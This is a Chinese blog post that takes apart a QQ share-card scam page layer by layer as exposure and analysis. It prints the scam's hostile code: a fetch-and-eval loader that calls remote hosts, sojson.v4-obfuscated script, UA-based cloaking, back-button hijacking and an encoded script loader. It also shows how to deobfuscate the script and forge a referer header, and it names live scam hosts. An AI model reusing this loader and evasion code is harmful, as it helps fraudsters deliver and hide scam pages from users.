之前一段时间,我看QQ的时候突然在某个群看到了有人发这样的分享卡片:
某被骗大冤种(什)
搭眼一看就知道这个就是一个标准的诱骗分享的诈骗站了。反正我是觉得挺无聊的,就单纯只是想让别人扩散这个页面它能得到什么好处呢?真令人费解
可能是觉得好玩,看别人上当然后自己在一旁偷偷吃瓜?
不过我倒是有了一个想法:破解掉这个页面,给它源码扒出来(开源)

实际上之前的时候我碰到了类似的东西的时候,这玩意还传播的正起劲呢。那个时候很简单,直接浏览器请求就能直接拿源码。
那时候比较早了,早到我还没搭这个博客站的那个时期了。
其实即使是有博客站我也懒得写那玩意,因为浏览器开发者选项直接解决了我写了不就挺水的

经过初步分析,我发现这个是时隔了那么长时间的骗子升级版页面,增加了更多防逆向分析源码的措施。
事情开始变得有意思起来了,真是一场朴实无华的网络攻防战
下面我将带大家逐一还原这一过程

表面:卡片背后的秘密

首先这个诈骗玩意是通过分享卡片来实现的传播,于是自然而然我们可以想到去获取卡片的源码,进而提取跳转目标
将这个卡片转发到自己群里,然后使用在粉壳(我的一个朋友)那挂的小号机器人进行提取:
卡片结构与其他信息体
可以得到
跳转链接:http://cartier.ww2022.minicostudio.cn/tencentcos/lod/8FUIF39m,d8238,gg934?PXmbcsdZ=ews3Mii7
封面链接:https://img20.360buyimg.com/openfeedback/jfs/t1/280952/7/10145/12225/67e524d6Fc604df81/2b764efb75ded358.jpg
和卡片结构的其他信息。

外层:一次跳转后便是套娃的开始

访问从卡片里提取出来的跳转链接,会出现跳转QQ的提示
跳转提示
同时页面url改变为https://ti.qq.com/open_qq/index3.html?url=https%3A%2F%2Fi.vision.qq.com%2Fprod%2Fimgs%2Fstatic%2Fh3u5k7asd1b702712261jkg4nf%3Ff%3D00%26f%3D00%26f%3D00%26qusid%3D2715411%26ansid%3D%26_from%3D%26_wv%3D131073%26_wwv%3D646%26_fv%3D0%26_bid%3D5103%26Ub9eD8dr%3DO8hUPJYY&ansid=&_from=&_wwv=646&_fv=0&_bid=5103

我们采用在线请求工具来获取这个卡片跳链的源码:
请求调试工具
首先尝试一下POST请求(提交空数据),根据报错信息能看出来这个诈骗页面是托管在阿里云OSS上的,然后绑定了自定义域名
shanghai(上海)属于国内实例,因此minicostudio.cn这个域名应该是备案过的

GET请求,拿到这个页面的源码:

1
2
<image src=//ti.qq.com/favicon.ico onload="fetch(`//2025x.oss-cn-beijing.aliyuncs.com/rk.js`).then(r=>r.text()).then(eval)">

我们拿到了外层的它调用用来跳转的js了,于是我们终于到了这个诈骗站的第二层了

次级:外层js内的链式调用

如法炮制,继续用工具GET请求外层调用的js://2025x.oss-cn-beijing.aliyuncs.com/rk.js

1
top.location.href = "https://ti.qq.com/open_qq/index3.html?url=https%3A%2F%2Fi.vision.qq.com%2Fprod%2Fimgs%2Fstatic%2Fh3u5k7asd1b702712261jkg4nf%3Ff%3D00%26f%3D00%26f%3D00%26qusid%3D2715411%26ansid%3D%26_from%3D%26_wv%3D131073%26_wwv%3D646%26_fv%3D0%26_bid%3D5103%26Ub9eD8dr%3DO8hUPJYY&ansid=&_from=&_wwv=646&_fv=0&_bid=5103";

可以看到其实就是刚才外层的那个访问卡片跳转链接就提示跳转QQ的关键代码了
这个js只做一件事,那就是调用QQ的跳板链接,以实现确保链接是在QQ里面打开的目的,而不是随便一个浏览器

对这一层的目标进行url解码,我们便得到了下一层级的入口:https://i.vision.qq.com/prod/imgs/static/h3u5k7asd1b702712261jkg4nf?f=00&f=00&f=00&qusid=2715411&ansid=&_from=&_wv=131073&_wwv=646&_fv=0&_bid=5103&Ub9eD8dr=O8hUPJYY
奇怪了,怎么又是QQ的域名。要说之前那个是跳板吧,那这又是什么?难不成是出了什么存储型XSS漏洞被人给利用了?

中级:可疑的QQ“图片链接”与混淆代码

现在让我们来具体分析一下次级里的那个到中级的跳转
从url查询路径/static/imgs中可以看出,这应该是某种图片的静态资源链接
去掉所有查询参数,然后在浏览器里访问:
去除查询参数后的结果
看吧,图片资源无效,坐实了这就是一个从服务器上获取图片的“图片链接”

如果我们不修改任何东西,直接去访问原始链接的话:
原始链接的跳转结果
结果就是获取图片的链接,无端地变成了跳转404页面的静态页面。
我又尝试在手机浏览器里面访问这个链接,结果依然是跳到和刚才一样的404页面。

那么,真的是404吗?
其实不然,当我们从QQ里面跳转这个链接的话,结果又变得截然不同了
它又会开始正常跳转到诈骗页了
也就是说它判定不是QQ环境就给跳404,达到“一叶障目”的效果。

现在我们看完了这个“不是图片的图片链接”的外在表现了,接下来就可以去扒源了
GET请求,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

<!DOCTYPEhtml>
<htmllang="en">
<head>
<metacharset="UTF-8">
<title>loading</title>
<metaname="viewport"content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0">
<linkrel="icon"href="data:;base64,=">
<styletype="text/css">
#preview-area{
width: 18vw;height: 18vw;position: absolute;top: 0;left: 0;bottom: 60px;right: 0;margin: auto;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none
}.sk-chase{
width: 18vw;height: 18vw;position: relative;animation: sk-chase2.5sinfinitelinearboth
}.sk-chase-dot{
width: 100%;height: 100%;position: absolute;left: 0;top: 0;animation: sk-chase-dot2sinfiniteease-in-outboth
}.sk-chase-dot: before{
content: "";display: block;width: 25%;height: 25%;background-color: #ff6600;border-radius: 100%;animation: sk-chase-dot-before2sinfiniteease-in-outboth
}.sk-chase-dot: nth-child(1){
animation-delay: -1.1s
}.sk-chase-dot: nth-child(2){
animation-delay: -1s
}.sk-chase-dot: nth-child(3){
animation-delay: -.9s
}.sk-chase-dot: nth-child(4){
animation-delay: -.8s
}.sk-chase-dot: nth-child(5){
animation-delay: -.7s
}.sk-chase-dot: nth-child(6){
animation-delay: -.6s
}.sk-chase-dot: nth-child(1): before{
animation-delay: -1.1s
}.sk-chase-dot: nth-child(2): before{
animation-delay: -1s
}.sk-chase-dot: nth-child(3): before{
animation-delay: -.9s
}.sk-chase-dot: nth-child(4): before{
animation-delay: -.8s
}.sk-chase-dot: nth-child(5): before{
animation-delay: -.7s
}.sk-chase-dot: nth-child(6): before{
animation-delay: -.6s
}@keyframessk-chase{
100%{
transform: rotate(360deg)
}
}@keyframessk-chase-dot{
100%,
80%{
transform: rotate(360deg)
}
}@keyframessk-chase-dot-before{
50%{
transform: scale(.4)
}0%,
100%{
transform: scale(1)
}
}
</style>
</head>
<body>
<divid="preview-area">
<divclass="sk-chase">
<divclass="sk-chase-dot"></div>
<divclass="sk-chase-dot"></div>
<divclass="sk-chase-dot"></div>
<divclass="sk-chase-dot"></div>
<divclass="sk-chase-dot"></div>
<divclass="sk-chase-dot"></div>
</div>
</div>
<script>
[
'sojson.v4'
][
"\x66\x69\x6c\x74\x65\x72"
][
"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"
]((([
'sojson.v4'
]+[

])[
"\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"
][
'\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'
][
'\x61\x70\x70\x6c\x79'
](null,
"102v117K110e99K116D105n111A110u32D108N111o97y100e74U115N40n115U114b99r44l32b99l97A108q108H98F97L99F107C44a32M101t114F114k67k97d108e108O98D97F99r107c41h32C123k10T32y32E32Q32h32A32N32U32W32N32y32h32W32I32A32o32j105w102Y32y40m33X115Z114w99d41q32F123W10Z32p32V32A32I32c32q32A32l32P32h32p32E32x32B32Z32X32U32G32A32i114L101x116s117N114P110j59l10w32E32b32z32L32Q32X32c32t32s32r32E32B32A32i32E32T125A10P32c32m32E32Z32d32y32p32K32i32j32k32U32p32s32C32a118e97U114c32n101f32y61Y32Z100B111j99n117a109d101q110a116k46B99O114d101S97u116B101C69i108t101G109R101U110O116y40g39P115H99b114e105c112j116c39z41v59a10V32O32D32E32w32j32j32g32t32o32g32y32d32u32X32z32R101E46n115f101i116I65S116i116Z114z105R98n117c116g101U40H39O116W121M112g101a39z44a32K39N116F101g120P116O47p106d97v118o97h115w99T114p105z112c116q39L41U59b10A32Y32W32E32X32J32y32B32k32V32R32q32M32o32v32j32z101Q46Q115x101B116N65d116x116D114L105e98z117O116E101b40C39V99p104p97C114X115c101e116Y39F44U32Z39N117J116t102Y45p56f39G41i59v10s32O32J32z32I32h32T32m32U32y32y32b32C32J32U32s32b101i46D115M101C116T65g116x116J114F105g98e117g116D101F40x39c115a114V99o39u44S32R115N114L99M41a59r10Z32k32k32q32K32U32k32A32q32x32c32v32M32Q32n32G32q100p111g99U117t109J101q110l116o46C103D101K116K69Z108r101m109e101q110B116A115Y66k121P84l97X103O78R97X109p101B40v39t104q101b97Y100Z39b41w91J48W93Z46G97Z112o112Y101r110N100e67T104N105I108E100w40P101S41q59h10G32A32Y32L32X32P32o32h32w32P32Y32U32Z32E32u32D32q105H102J32z40A116M121R112O101f111I102f32d101P114z114F67r97R108z108A98u97n99E107X32U61N61N61P32r39a102X117v110n99T116d105p111B110l39h41j32J123B10i32s32V32M32x32f32O32v32t32T32O32u32C32L32S32Z32x32P32B32Q32P101O46Z111c110F101N114V114e111p114Z32d61B32g101p114a114p67y97i108Y108f98M97g99S107W59P10I32o32l32k32l32u32Q32B32s32j32h32K32Z32p32W32Y32L125B10g32S32t32o32A32J32b32J32f32x32W32Q32s32e32A32h32w101D46z111y110V108p111C97W100Z32G61g32L102N117k110P99Y116T105M111g110w40e41W32m123i10h32D32o32b32e32w32n32N32c32c32I32h32R32L32D32f32R32T32j32X32L105G102q32n40R116g121r112E101h111b102I32U99I97W108z108A98M97Q99h107I32Y61x61b61f32X39U102h117X110w99b116L105Z111Y110p39V41B32R123Y10o32k32k32W32P32Y32q32k32f32M32G32f32n32P32L32Y32m32x32K32g32e32k32g32Q32l99f97E108X108H98T97b99g107H40R41S59N10I32t32u32i32R32N32O32K32J32s32k32g32n32u32E32s32r32s32P32F32Y125P10i32o32H32S32U32u32Z32g32Y32h32m32w32X32W32P32i32K125J59Z10W32v32J32x32d32T32C32a32T32e32X32S32G125L10J32z32n32I32O32G32D32E32Z32A32R32W32L108n111O97Z100L74x115a40J39N47w47m50D48b50h52y45F102t105Y108n101x46r111i115k115s45P99e110w45J104A97i110L103R122a104h111s117Q46N97J108u105W121f117j110a99g115J46V99J111q109X47u120O46g106a115o63C39H43A110A101p119o32r68p97L116B101Y40U41Z46U103U101W116A84j105M109e101G40h41T41o59"[
'\x73\x70\x6c\x69\x74'
](/[
a-zA-Z
]{
1,

}/))))('sojson.v4');
</script>
</body>
</html>

我直呼好家伙,这都是些什么玩意儿?
这还混淆了,这骗子学的还挺精
很好,比上次那个倒是进步不小

接下来就是想办法去还原这坨js代码,可是反混淆不是我的强项,我不会。
于是网上搜索找到了逆向方案:
打开浏览器的开发者工具(F12),然后在控制台里直接粘贴完整的混淆js代码,最后注释或直接删除末尾的('sojson.v4');并回车键运行即可获得完整源码

我提取了script标签内的js代码,按照步骤进行操作后竟然报错了:
控制台报错
推测是那一堆换行有影响,压缩一下再试我觉得应该能行
这里贴出我操作压缩后的代码:

1
['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"102v117K110e99K116D105n111A110u32D108N111o97y100e74U115N40n115U114b99r44l32b99l97A108q108H98F97L99F107C44a32M101t114F114k67k97d108e108O98D97F99r107c41h32C123k10T32y32E32Q32h32A32N32U32W32N32y32h32W32I32A32o32j105w102Y32y40m33X115Z114w99d41q32F123W10Z32p32V32A32I32c32q32A32l32P32h32p32E32x32B32Z32X32U32G32A32i114L101x116s117N114P110j59l10w32E32b32z32L32Q32X32c32t32s32r32E32B32A32i32E32T125A10P32c32m32E32Z32d32y32p32K32i32j32k32U32p32s32C32a118e97U114c32n101f32y61Y32Z100B111j99n117a109d101q110a116k46B99O114d101S97u116B101C69i108t101G109R101U110O116y40g39P115H99b114e105c112j116c39z41v59a10V32O32D32E32w32j32j32g32t32o32g32y32d32u32X32z32R101E46n115f101i116I65S116i116Z114z105R98n117c116g101U40H39O116W121M112g101a39z44a32K39N116F101g120P116O47p106d97v118o97h115w99T114p105z112c116q39L41U59b10A32Y32W32E32X32J32y32B32k32V32R32q32M32o32v32j32z101Q46Q115x101B116N65d116x116D114L105e98z117O116E101b40C39V99p104p97C114X115c101e116Y39F44U32Z39N117J116t102Y45p56f39G41i59v10s32O32J32z32I32h32T32m32U32y32y32b32C32J32U32s32b101i46D115M101C116T65g116x116J114F105g98e117g116D101F40x39c115a114V99o39u44S32R115N114L99M41a59r10Z32k32k32q32K32U32k32A32q32x32c32v32M32Q32n32G32q100p111g99U117t109J101q110l116o46C103D101K116K69Z108r101m109e101q110B116A115Y66k121P84l97X103O78R97X109p101B40v39t104q101b97Y100Z39b41w91J48W93Z46G97Z112o112Y101r110N100e67T104N105I108E100w40P101S41q59h10G32A32Y32L32X32P32o32h32w32P32Y32U32Z32E32u32D32q105H102J32z40A116M121R112O101f111I102f32d101P114z114F67r97R108z108A98u97n99E107X32U61N61N61P32r39a102X117v110n99T116d105p111B110l39h41j32J123B10i32s32V32M32x32f32O32v32t32T32O32u32C32L32S32Z32x32P32B32Q32P101O46Z111c110F101N114V114e111p114Z32d61B32g101p114a114p67y97i108Y108f98M97g99S107W59P10I32o32l32k32l32u32Q32B32s32j32h32K32Z32p32W32Y32L125B10g32S32t32o32A32J32b32J32f32x32W32Q32s32e32A32h32w101D46z111y110V108p111C97W100Z32G61g32L102N117k110P99Y116T105M111g110w40e41W32m123i10h32D32o32b32e32w32n32N32c32c32I32h32R32L32D32f32R32T32j32X32L105G102q32n40R116g121r112E101h111b102I32U99I97W108z108A98M97Q99h107I32Y61x61b61f32X39U102h117X110w99b116L105Z111Y110p39V41B32R123Y10o32k32k32W32P32Y32q32k32f32M32G32f32n32P32L32Y32m32x32K32g32e32k32g32Q32l99f97E108X108H98T97b99g107H40R41S59N10I32t32u32i32R32N32O32K32J32s32k32g32n32u32E32s32r32s32P32F32Y125P10i32o32H32S32U32u32Z32g32Y32h32m32w32X32W32P32i32K125J59Z10W32v32J32x32d32T32C32a32T32e32X32S32G125L10J32z32n32I32O32G32D32E32Z32A32R32W32L108n111O97Z100L74x115a40J39N47w47m50D48b50h52y45F102t105Y108n101x46r111i115k115s45P99e110w45J104A97i110L103R122a104h111s117Q46N97J108u105W121f117j110a99g115J46V99J111q109X47u120O46g106a115o63C39H43A110A101p119o32r68p97L116B101Y40U41Z46U103U101W116A84j105M109e101G40h41T41o59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

再次进行操作,果然可以了:
成功脱出源码
源码具体细节
(左键双击输出的源码可以直接跳转查看详细源码)
在这里感谢https://www.52pojie.cn/thread-1614422-1-1.html 提供的解决方案!
然后这就是这一层级的答案了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(function anonymous(
) {
function loadJs(src, callback, errCallback) {
if (!src) {
return;
}
var e = document.createElement('script');
e.setAttribute('type', 'text/javascript');
e.setAttribute('charset', 'utf-8');
e.setAttribute('src', src);
document.getElementsByTagName('head')[0].appendChild(e);
if (typeof errCallback === 'function') {
e.onerror = errCallback;
}
e.onload = function() {
if (typeof callback === 'function') {
callback();
}
};
}
loadJs('//2024-file.oss-cn-hangzhou.aliyuncs.com/x.js?'+new Date().getTime());
})

可以看到,这层加载的//2024-file.oss-cn-hangzhou.aliyuncs.com/x.js就是我们下一层要继续去解的内容了

高级:这只是个普通的中转

继续GET请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function loadHtml(url) {
fetch(url)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.text();
})
.then(html => {
document.open("text/html", "replace");
document.write(html);
document.close();
})
.catch(error => console.error('There has been a problem with your fetch operation:', error));
}

// 加载目标 HTML
loadHtml('//2025xm.oss-cn-beijing.aliyuncs.com/index.html?' + new Date().getTime());


一招鲜吃遍天(哈哈)
比起下一层的内容,我更好奇// 加载目标 HTML这个注释原本写的是什么
在这里,终于从这一堆js里看到一个html了,真是太不容易了
骗子能套这么多也是没谁了,真无敌了

终级:深入html,真正的源码

GET:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<Error>
<Code>AccessDenied</Code>
<Message>You are denied by bucket referer policy.</Message>
<RequestId>6838B2206D28FD3231785119</RequestId>
<HostId>2025xm.oss-cn-beijing.aliyuncs.com</HostId>
<BucketName>2025xm</BucketName>
<EC>0003-00000501</EC>
<RecommendDoc>https://api.aliyun.com/troubleshoot?q=0003-00000501</RecommendDoc>
</Error>

哦豁,这骗子竟然还留有后手,加了referer验证。为空或者不对都将影响返回结果
我们只需要请求的时候顺带把对应请求头也给加上就可以了。
那么真正的referer应该从哪找呢?
回顾前面的历程,猜测加载那一堆js的url应该就是这里referer的值了
我们直接把前面的https://i.vision.qq.com/prod/imgs/static/h3u5k7asd1b702712261jkg4nf?f=00&f=00&f=00&qusid=2715411&ansid=&_from=&_wv=131073&_wwv=646&_fv=0&_bid=5103&Ub9eD8dr=O8hUPJYY直接拿过来用

果然成功拿到了正常的返回值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<title></title>


<link rel="stylesheet" href="//2025xm.oss-cn-beijing.aliyuncs.com/css/fei.css">
<link rel="stylesheet" href="//2025xm.oss-cn-beijing.aliyuncs.com/css/qiang.css">
<script src="//2025xm.oss-cn-beijing.aliyuncs.com/js/jquery.min.js"></script>

<!--script src="//mapiqq.oss-accelerate.aliyuncs.com/corea/webp/qq.js"></script!-->
<script src="//open.mobile.qq.com/sdk/qqapi.uncompressed.js"></script>

<style>
.modal2{width: 86%;position: absolute; top: 150px; left: 7%; padding-top: 20px; background: white; border-radius: 8px;}
.modal1{width: 100%; background: white; text-align: center; padding-top: 2vh; padding-bottom: 5vh; }
.disappear{width: 30px;height: 30px; border-radius: 50%; background: #c0c0c0; font-size: 20px; line-height: 26px; font-weight: bold; text-align: center; color: #ebebeb; position: absolute;right: -10px;top: -10px;}
.btn1{width: 100%; height: 50px; border-top: 1px solid #dcd9d9;}
.btnHide{width: 100%; height: 50px;font-size: 22px; color: #18ad19; border: 0; background: white; border-radius: 4px;}
</style>
<script>
function isMobileQQ() {
var ua = navigator.userAgent.toLowerCase();
var isMobile = /iphone|ipod|ipad|android|harmonyos/i.test(ua);
var isQQBrowser = /qq/i.test(ua);
var isIOSQQ = /iphone|ipod|ipad/i.test(ua) && /qq/i.test(ua);
var isAndroidQQ = /android/i.test(ua) && /qq/i.test(ua);
var isHarmonyOSQQ = /harmonyos/i.test(ua) && /qq/i.test(ua);
return isMobile && isQQBrowser && (isIOSQQ || isAndroidQQ || isHarmonyOSQQ);
}
if (isMobileQQ()) {

} else {
top.location.href="https://www.qq.com/babygohome/index.htm";
}
mqq.ui.setWebViewBehavior({
swipeBack:0
})
</script>
<script>
/*
function getMainDomain() {
const hostname = window.location.hostname; // 获取完整的主机名,例如 "a.b.c.qq.com"
const parts = hostname.split('.');
if (parts.length > 2) {

return parts.slice(-2).join('.');
}
return hostname; // 如果是顶级域名,直接返回
}

var mainDomain = getMainDomain();

mqq.ui.setTitleButtons({
left : {
hidden: true
},
right : {
hidden: true
}
})

if (mainDomain === 'qq.com'){
mqq.invoke('ui', 'webviewCanScroll', {"enable" : false});
mqq.invoke("ui", "setScrollState",{ enable: false });
mqq.invoke('ui', 'setWebViewBehavior', {navBgColor:0x000000, navTextColor:0x000000});
}
*/

function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
function random_num(max,min){
var suff = parseInt(Math.random()*(max-min+1)+min,10); Math.floor(Math.random()*(max-min+1)+min);
return suff;
}
var now_time = new Date().getTime();
var from_time = (parseInt(getUrlParam('_t', document.referrer))*1000 || now_time);
var future = new Date(from_time + 3600*24*1000*5 + 8*3600*1000);
var future_str = future.toISOString().substr(0, 10);
function hideDialog(){
document.getElementById('dia').style.display = 'none';
}
</script>
<style>
/* 清除一些默认样式 */

a{
text-decoration: none;/*确保在浏览器中显示链接时,没有任何文本装饰,如下划线。 */
}
/* 对整体进行设置,并且都设置为弹性盒,方便进行操作 */

/* 设置导航栏样式 */
.nav{
/* 对导航栏位置进行定位处理,方便后续的图标位置的设置 */
position: fixed;
width: 100%;
height: 60px;
z-index: 9999999999;
background: #fff;
bottom: 0;
display:none;


}

.icon{
/* 对导航栏位置进行定位处理,方便后续的图标位置的设置 */
position: absolute;
top:11px;
left: 80px;
font-size: 26px;
color:#000000;

}
.icon1{
/* 对导航栏位置进行定位处理,方便后续的图标位置的设置 */
position: absolute;
top:11px;
right: 80px;
font-size: 26px;
color:#000000;

}
</style>
<style>
.announcement-overlay {
position: fixed;
inset: 0; /* top:0; left:0; right:0; bottom:0; */
background: rgba(0, 0, 0, 0.45);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 10px; /* 为了在窄屏也能留点边距 */
}

/* ========== 弹窗容器 ========== */
.announcement-container {
position: relative;
width: 100%;
max-width: 600px;
max-height: 80vh; /* 限制弹窗最大高度 */
background: #fff;
border-radius: 6px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
border: 1px solid #ebebeb;

display: flex; /* 关键:让内容区和按钮区能灵活分布 */
flex-direction: column;
}

/* 右上角关闭按钮 X */
.close-btn {
position: absolute;
top: 10px;
right: 10px;
background: none;
border: none;
font-size: 20px;
font-weight: bold;
color: #666;
cursor: pointer;
}
.close-btn:hover {
opacity: 0.75;
}

/* ========== 弹窗顶部标题区 ========== */
.header-area {
text-align: center;
padding: 16px 50px 8px; /* 留出右侧空间给X按钮 */
border-bottom: 1px solid #eee;
}
.announcement-title {
color: #c91f37;
font-size: 18px;
font-weight: 700;
margin-bottom: 4px;
}
.announcement-subtitle {
color: #888;
font-size: 13px;
margin-bottom: 10px;
}

/* ========== 主内容区(可滚动) ========== */
.content-area {
flex: 1 1 auto; /* 填充剩余高度 */
overflow-y: auto; /* 内容过多时可滚动 */
padding: 16px;
}

/* 每个大标题 */
.section-title {
margin: 12px 0 6px;
font-weight: 600;
font-size: 15px;
color: #444;
}
/* 正文段落 */
.section-text {
font-size: 15px; /* 比较适合手机阅读,不至于太大 */
line-height: 1.5;
color: #555;
margin-bottom: 10px;
text-indent: 1em; /* 适度缩进 */
}
/* 列表 */
ol {
font-size: 15px;
line-height: 1.5;
color: #555;
margin-left: 1.5em;
margin-bottom: 10px;
}
li { margin: 6px 0; }

/* 强调文本 */
.highlight, strong {
color: #c91f37;
font-weight: 600;
}

/* ========== 底部区域:按钮 + 说明 ========== */
.footer-area {
flex: 0 0 auto; /* 底部固定高度 */
padding: 10px 16px 16px;
border-top: 1px solid #eee;
text-align: center;
}
.know-btn {
width: 100%;
background: #ff4f3f;
color: #fff;
font-size: 15px;
font-weight: 600;
border: none;
border-radius: 6px;
padding: 12px 0;
cursor: pointer;
box-shadow: 0 3px 8px rgba(255,79,63,0.2);
}
.know-btn:hover {
opacity: 0.9;
}
/* 小提示(若有的话) */
.small-tip {
margin-top: 6px;
font-size: 13px;
color: #999;
}

/* ======= 小屏适配(可再微调) ======= */
@media (max-width: 375px) {
.announcement-title {
font-size: 16px;
}
.section-title {
font-size: 14px;
}
.section-text,
ol {
font-size: 14px;
}
.know-btn {
font-size: 14px;
}
.close-btn {
top: 8px;
right: 8px;
font-size: 18px;
}
}
</style>
</head>

<body style="background:#fff">
<div id="tishi" ></div>
<!--div class="modal2" id = 'dia' style='z-index:1000000;font-family:"微软雅黑";'!-->
<!--div class="disappear" id="disappear" onclick='hideDialog()'>x</div!-->
<!--div class="modal1">
<!--p style="color: #e03424; font-size: 24px; line-height: 40px;">喜讯!</p>
<!--p style="margin-bottom: 20px; font-size:18px; "> 新郎:<span style="color: #e03424; margin-right: 5px;">刘先生 </span>新娘:<span style="color: #e03424;">张女士</span></p!-->
<!--img src="https://2024qxqv.oss-cn-shanghai.aliyuncs.com/qxqv/kddjj2.jpg" style="width:100px;height:100px;"!-->
<!--p style="font-size: 16px; color: #f4434f; margin-bottom: 20px;">兹定于<span style="font-size: 20px"><script>document.write(future_str)</script></span>举行婚礼</p>
<!--p style="font-size: 16px; margin-bottom: 20px;">为答谢粉丝们的支持与厚爱,现发出<br><span style="color: #f4434f;">1000万</span>现金礼包回馈粉丝</p>
<!--p style="color: #bcbcbc; font-size: 16px; margin-bottom: 20px;"> 红包总额仅剩余<span style="color: #f4434f; font-size: 22px;"><script>document.write(random_num(10,99))</script>万</span><br> 数量有限,先到先得 </p>
</div!-->
<!--div class="btn1"> <button class="btnHide" type="button" onclick='hideDialog()'>现在去领</button></div!-->
</div>
<!--a rel="noreferrer" id="btn" style="display: none">referrer</a!-->
<!--script type="text/javascript" charset="utf-8" src="//mapiqq.oss-accelerate.aliyuncs.com/corea/webp/xh.js?v=1.0"></script!-->

<div class="nav" id="dibu">
<div class="icon" onclick="fanhui()" >
<svg style="width: 1em;height: 1em;vertical-align: middle;fill: currentColor;" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="1154"><path d="M690.33 195.494c4.5-4.5 7.03-10.6 7.03-16.97l0.01-95.2c0.01-7.13-8.62-10.71-13.66-5.66l-423.03 423.03c-6.24 6.25-6.24 16.37 0 22.62l423.03 423.03c5.04 5.05 13.67 1.47 13.66-5.66l-0.01-95.2c0-6.37-2.53-12.47-7.03-16.97l-316.51-316.51 316.51-316.51z" p-id="1155"></path>
</svg>

</div>
<div class="icon1" onclick="fanhui()" >
<svg style="width: 1em;height: 1em;vertical-align: middle;fill: currentColor;overflow: hidden;" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="1176"><path d="M334.039 195.494c-4.5-4.5-7.03-10.6-7.03-16.97l-0.01-95.2c-0.01-7.13 8.62-10.71 13.66-5.66l423.03 423.03c6.24 6.25 6.24 16.37 0 22.62l-423.03 423.03c-5.04 5.05-13.67 1.47-13.66-5.66l0.01-95.2c0-6.37 2.53-12.47 7.03-16.97l316.51-316.51-316.51-316.51z" p-id="1177"></path></svg>
</div>
</div>
<script>
mqq.ui.setWebViewBehavior({
swipeBack:0
})
setTimeout(function(){
history.pushState(history.length + 1, "message", "#" + new Date().getTime());
},200);
setTimeout(function () {
</script>
<script>
var s = document.createElement('script'); s.src = atob("Ly8yMDI1eG0ub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tL2pzL3NtLjIwMjUuanM=") + "?t=" + new Date().getTime(); s.charset = "utf-8"; document.body.appendChild(s);
</script>
<div id="lly_dialog" style="display: none">
<div class="weui-mask"></div>
<div class="weui-dialog">
<div class="weui-dialog__bd" id="lly_dialog_msg"></div>
<div class="weui-dialog__ft"> <a href="javascript:;" class="weui-dialog__btn weui-dialog__btn_primary" id="lly_dialog_btn"></a></div>
</div>
</div>
<div style="display:none">
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?f43e74c9eaf28f9f7016fdb2cf0e3767";//百度统计
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
</div>
<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script>
<script>LA.init({id:"3KnQSIxO0eCK8b56",ck:"3KnQSIxO0eCK8b56"})</script>
</body>
</html>


这应该就是最终的页面了,这样我们就把这个骗子页面从上到下扒干净了